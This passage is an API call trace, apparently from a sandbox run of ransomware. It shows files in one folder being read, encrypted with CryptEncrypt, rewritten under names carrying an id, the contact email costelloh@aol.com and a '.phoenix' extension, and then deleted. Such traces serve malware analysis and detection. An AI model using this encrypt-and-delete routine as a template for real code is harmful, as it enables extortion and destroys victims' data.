	[0072.639] ReadFile (in: hFile=0x310, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x2d200, lpOverlapped=0x0) returned 1
	[0072.770] CryptEncrypt (in: hKey=0xbaa488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x2d210, dwBufLen=0x2d210 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x2d210) returned 1
	[0072.770] WriteFile (in: hFile=0x344, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x2d210, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x2d210, lpOverlapped=0x0) returned 1
	[0072.774] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa288) returned 1
	[0072.774] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0072.774] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50, dwBufLen=0x50 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50) returned 1
	[0072.774] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0072.774] WriteFile (in: hFile=0x344, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x102, lpOverlapped=0x0) returned 1
	[0072.775] CryptDestroyKey (hKey=0xbaa488) returned 1
	[0072.775] CloseHandle (hObject=0x310) returned 1
	[0072.775] CloseHandle (hObject=0x344) returned 1
	[0072.784] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 1
	[0072.790] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0072.790] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0072.791] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=94720) returned 1
	[0072.791] CloseHandle (hObject=0x344) returned 1
	[0072.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80
	[0072.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0072.791] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0072.791] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0072.791] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0072.791] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0072.792] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa5c8) returned 1
	[0072.792] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0072.792] ReadFile (in: hFile=0x344, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x17200, lpOverlapped=0x0) returned 1
	[0072.978] CryptEncrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x17210, dwBufLen=0x17210 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x17210) returned 1
	[0072.978] WriteFile (in: hFile=0x310, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x17210, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x17210, lpOverlapped=0x0) returned 1
	[0072.981] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa648) returned 1
	[0072.981] CryptSetKeyParam (hKey=0xbaa648, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0072.981] CryptEncrypt (in: hKey=0xbaa648, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50, dwBufLen=0x50 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50) returned 1
	[0072.981] CryptDestroyKey (hKey=0xbaa648) returned 1
	[0072.981] WriteFile (in: hFile=0x310, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x102, lpOverlapped=0x0) returned 1
	[0072.981] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0072.981] CloseHandle (hObject=0x344) returned 1
	[0072.981] CloseHandle (hObject=0x310) returned 1
	[0072.993] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 1
	[0072.995] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0072.995] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0072.995] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=78152) returned 1
	[0072.995] CloseHandle (hObject=0x310) returned 1
	[0072.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80
	[0072.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0072.995] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0072.996] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0072.996] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0072.996] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0072.996] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa5c8) returned 1
	[0072.996] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0072.996] ReadFile (in: hFile=0x310, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x13148, lpOverlapped=0x0) returned 1
	[0073.089] CryptEncrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x13150, dwBufLen=0x13150 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x13150) returned 1
	[0073.089] WriteFile (in: hFile=0x344, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x13150, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x13150, lpOverlapped=0x0) returned 1
	[0073.092] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa348) returned 1
	[0073.092] CryptSetKeyParam (hKey=0xbaa348, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0073.092] CryptEncrypt (in: hKey=0xbaa348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40, dwBufLen=0x40 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40) returned 1
	[0073.092] CryptDestroyKey (hKey=0xbaa348) returned 1
	[0073.092] WriteFile (in: hFile=0x344, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0xf2, lpOverlapped=0x0) returned 1
	[0073.092] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0073.092] CloseHandle (hObject=0x310) returned 1
	[0073.092] CloseHandle (hObject=0x344) returned 1
	[0073.095] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 1
	[0073.108] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0073.108] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0073.109] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=807256) returned 1
	[0073.109] CloseHandle (hObject=0x344) returned 1
	[0073.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80
	[0073.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0073.109] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0073.109] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0073.109] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0073.109] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0073.111] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa748) returned 1
	[0073.111] CryptSetKeyParam (hKey=0xbaa748, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0073.111] ReadFile (in: hFile=0x344, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0xc5158, lpOverlapped=0x0) returned 1
	[0073.117] CryptEncrypt (in: hKey=0xbaa748, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0xc5160, dwBufLen=0xc5160 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0xc5160) returned 1
	[0073.118] WriteFile (in: hFile=0x310, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xc5160, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0xc5160, lpOverlapped=0x0) returned 1
	[0073.132] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa948) returned 1
	[0073.132] CryptSetKeyParam (hKey=0xbaa948, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0073.132] CryptEncrypt (in: hKey=0xbaa948, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40, dwBufLen=0x40 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40) returned 1
	[0073.133] CryptDestroyKey (hKey=0xbaa948) returned 1
	[0073.133] WriteFile (in: hFile=0x310, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0xf2, lpOverlapped=0x0) returned 1
	[0073.133] CryptDestroyKey (hKey=0xbaa748) returned 1
	[0073.133] CloseHandle (hObject=0x344) returned 1
	[0073.133] CloseHandle (hObject=0x310) returned 1
	[0073.426] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 1
	[0073.435] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0073.435] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0073.436] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=295248) returned 1
	[0073.436] CloseHandle (hObject=0x310) returned 1
	[0073.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80
	[0073.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0073.436] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0073.436] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0073.436] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0073.436] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0073.437] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa388) returned 1
	[0073.437] CryptSetKeyParam (hKey=0xbaa388, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0073.437] ReadFile (in: hFile=0x310, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x48150, lpOverlapped=0x0) returned 1
	[0074.088] CryptEncrypt (in: hKey=0xbaa388, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x48160, dwBufLen=0x48160 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x48160) returned 1
	[0074.089] WriteFile (in: hFile=0x340, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x48160, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x48160, lpOverlapped=0x0) returned 1
	[0074.100] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa488) returned 1
	[0074.101] CryptSetKeyParam (hKey=0xbaa488, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0074.101] CryptEncrypt (in: hKey=0xbaa488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40, dwBufLen=0x40 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40) returned 1
	[0074.101] CryptDestroyKey (hKey=0xbaa488) returned 1
	[0074.101] WriteFile (in: hFile=0x340, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0xf2, lpOverlapped=0x0) returned 1
	[0074.101] CryptDestroyKey (hKey=0xbaa388) returned 1
	[0074.101] CloseHandle (hObject=0x310) returned 1
	[0074.101] CloseHandle (hObject=0x340) returned 1
	[0074.108] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 1
	[0074.112] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0074.112] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0074.112] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=96088) returned 1
	[0074.112] CloseHandle (hObject=0x340) returned 1
	[0074.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80
	[0074.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0074.112] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0074.112] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0074.112] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0074.113] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0074.113] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa9c8) returned 1
	[0074.113] CryptSetKeyParam (hKey=0xbaa9c8, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0074.113] ReadFile (in: hFile=0x340, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x17758, lpOverlapped=0x0) returned 1
	[0075.284] CryptEncrypt (in: hKey=0xbaa9c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x17760, dwBufLen=0x17760 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x17760) returned 1
	[0075.284] WriteFile (in: hFile=0x310, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x17760, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x17760, lpOverlapped=0x0) returned 1
	[0075.847] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa208) returned 1
	[0075.847] CryptSetKeyParam (hKey=0xbaa208, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0075.847] CryptEncrypt (in: hKey=0xbaa208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50, dwBufLen=0x50 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50) returned 1
	[0075.847] CryptDestroyKey (hKey=0xbaa208) returned 1
	[0075.847] WriteFile (in: hFile=0x310, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x102, lpOverlapped=0x0) returned 1
	[0075.848] CryptDestroyKey (hKey=0xbaa9c8) returned 1
	[0075.848] CloseHandle (hObject=0x340) returned 1
	[0075.848] CloseHandle (hObject=0x310) returned 1
	[0076.215] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 1
	[0076.217] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0076.217] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0076.217] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=144416) returned 1
	[0076.217] CloseHandle (hObject=0x310) returned 1
	[0076.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80
	[0076.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0076.218] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0076.218] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0076.218] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0076.218] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0076.218] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa408) returned 1
	[0076.218] CryptSetKeyParam (hKey=0xbaa408, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0076.218] ReadFile (in: hFile=0x310, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x23420, lpOverlapped=0x0) returned 1
